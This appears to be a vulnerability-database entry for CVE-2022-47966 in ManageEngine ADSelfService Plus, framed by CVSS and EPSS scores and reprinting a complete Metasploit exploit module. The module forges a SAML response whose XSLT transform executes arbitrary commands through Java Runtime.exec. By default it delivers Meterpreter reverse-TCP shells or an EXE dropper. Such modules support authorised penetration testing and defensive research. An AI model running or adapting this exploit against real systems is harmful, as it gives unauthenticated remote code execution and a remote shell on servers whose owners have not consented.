9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%
This exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine AdSelfService Plus versions 6210 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse
XML to the ADSelfService Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status.
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE',
'Description' => %q{
This exploits an unauthenticated remote code execution vulnerability
that affects Zoho ManageEngine AdSelfService Plus versions 6210 and
below (CVE-2022-47966). Due to a dependency to an outdated library
(Apache Santuario version 1.4.1), it is possible to execute arbitrary
code by providing a crafted `samlResponse` XML to the ADSelfService Plus
SAML endpoint. Note that the target is only vulnerable if it has been
configured with SAML-based SSO at least once in the past, regardless of
the current SAML-based SSO status.
},
'Author' => [
'Khoa Dinh', # Original research
'horizon3ai', # PoC
'Christophe De La Fuente' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-47966'],
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
'Platform' => ['win'],
'Payload' => {
'BadChars' => "\x27"
},
'Targets' => [
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
]
],
'DefaultOptions' => {
'RPORT' => 9251,
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]),
OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]),
OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]),
OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])
)
return CheckCode::Unknown unless res
return CheckCode::Safe unless res.code == 200
product = res.get_html_document.xpath('//title').first&.text
unless product == 'ADSelfService Plus'
return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")
end
CheckCode::Detected
end
def encode_begin(real_payload, reqs)
super
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
end
end
def exploit
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
if target['Type'] == :windows_dropper
cmd = "cmd /c #{cmd}"
end
cmd = cmd.encode(xml: :attr).gsub('"', '')
assertion_id = "_#{SecureRandom.uuid}"
# Randomize variable names and make sure they are all different using a Set
vars = Set.new
loop do
vars << Rex::Text.rand_text_alpha_lower(5..8)
break unless vars.size < 3
end
vars = vars.to_a
saml = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
ID="_#{SecureRandom.uuid}"
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion ID="#{assertion_id}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<Issuer>#{datastore['ISSUER_URL']}</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="##{assertion_id}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
<xsl:value-of select="$#{vars[2]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
<ds:KeyInfo/>
</ds:Signature>
</Assertion>
</samlp:Response>
EOS
relay_state_url = datastore['RELAY_STATE']
if relay_state_url.blank?
relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth"
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']),
'vars_get' => {
'RelayState' => Rex::Text.encode_base64(relay_state_url)
},
'vars_post' => {
'SAMLResponse' => Rex::Text.encode_base64(saml)
}
})
unless res&.code == 200
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})")
end
res
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%